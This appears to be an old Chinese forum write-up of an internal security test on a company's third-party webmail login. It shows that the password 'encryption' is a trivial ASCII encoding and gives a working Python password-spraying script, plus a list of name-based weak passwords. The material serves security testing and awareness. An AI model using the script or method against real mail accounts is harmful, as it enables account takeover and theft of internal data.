【旧论坛文章】某第三方邮箱系统登录安全性研究分析

0x00前言 入职了公司安全部,就开始对我公司的各系统做一轮安全测试。界面如下:


公司使用的是第三方的邮件系统。
0x02登录加密分析
没有0day只能研究研究他的登录安全性,能破解几个弱口令也是可以的。测试时发现登录请求报文的用户名明文传输,密码做了加密

仔细观察发现,密码好像并不是什么加密。登录时我输入的用户名是testtest,密码是12345678,抓包,用户名为明文,密为:%24491%3B%24501%3B%24511%3B%24521%3B%24531%3B%24541%3B%24551%3B%24561%3B。将密码字段做url解码:
image
得到解码后的值为:$491;$501;$511;$521;$531;$541;$551;$561;
我输入的密码是:12345678
现在加密的值是:$491;$501;$511;$521;$531;$541;$551;561; 看了一会儿,似乎有点规律。经过仔细分析查看,将他们一一对应起来进行对比: ![image|639x83](upload://jAOlewR0klswtl43K8GAQCrHjek.png) 不难发现其中的规律,根据经验,1对应的ascii码为49, 2的ascii码为50。 以此类推,发现其中的加密算法为:将密码字符串1做ascii编码,然后用 "" + "49" + "1;" 拼接起来就是密码的加密算法。
1 –> $491; 2 –> $501;
A –> $651; a –> $971;
将用户输入的字符串做以上编码处理,然后向服务器发送请求。服务器会做相应的解码。然后一列的判断密码是否正确 。
经过测试发现,邮箱系统本身重置密码时已经做了弱密码检测:

但有些密码可以通过该弱口令规则,但仍属于 易破解密码
测试过程发现,同一个邮箱用户名连续输入错误密码三次就会弹出图片验证码:
image
此验证码是可以直接识别的,但这里不做深入研究
image
验证码作用是防止攻击者暴力破解。
综上,虽然有以上防弱口令、防爆破规则,但仍有漏网之鱼。收集一些公司同事姓名,有针对性的生成有些跟用户名相关的密码字典。就可以爆破出弱口令。
经过抓包分析,编写爆破程序:

#coding:utf-8
import requests

header = {

                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                    'Content-Type': 'application/x-www-form-urlencoded',
                    'Referer': 'http://mail.test.com/'

            }

n = 1
good = open('good.txt','a')
url = 'http://mail.test.com/xmweb?host=mail.test.com&_t=1530144631717'
with open('yonghuming.txt','r') as u:
for i in u:
password = i.strip().upper() + '123!@#'
c = ''
for j in password:
b = str(ord(j))
c += '$' + b + '1;'
jiami_pass = c
user = i.strip()
data = {'chr':'gb','func':'login','isp_domain':'','verifycookie':'','verifyip':'','buttonType':'1','usr':user,'domain':'test.com','domainType':'wm','encode':'on','username':user,'pass':jiami_pass}

            html = requests.post(url = url,data = data,headers = header).content

            if  len(html) > 20000:
                    print '[OK] user:' + user + '@test.com ---- password:' + password
                    good.write('\n[OK] ' + user + '@test.com ---- password:' + password)
            else:
                    n += 1 
                    print str(n) + ':' + user + ':' + password

good.close()
虽然有连续输入三次密码错误验证码,但是攻击者可以固定密码格式去枚举用户名。
测试过程如下,爆破成功密码就把结果保存到本地。


通过几轮的测试,可以成功爆破出了很多强类型的“弱密码”账号。
例如:用户名为zhangwei,密码为Zhangwei123456
枚举出一些账号密码后,及时邮件通知了他们修改密码。

本次测试,只用了简单的密码模型就爆破出了几个邮箱账号,只要花点时间,测试一些高难度的密码,还会破解出跟多的账号密码。企业安全不容忽视。
0x03 后话
外部攻击者可以爆破邮箱密码,进入邮箱,查看公司内部文件、数据。造成信息泄露。
以下密码及类似密码均为弱密码或易破解密码:
以姓名为 张三 为例:
密码为:
zhangsan
zhangsan.
zhangsan123
zhangsan!@#
HANGSAN123
ZANGSAN123456
Zhangsan
ZHANGSAN
zhangsan123!@#
zhangsan!@#$%^
zhangsan123456
1qaz2wsx
1qaz2wsx3edc
!QAZ@WSX
!QAZ@WSX#EDC
ZhangSan
zhangsan520等等。。。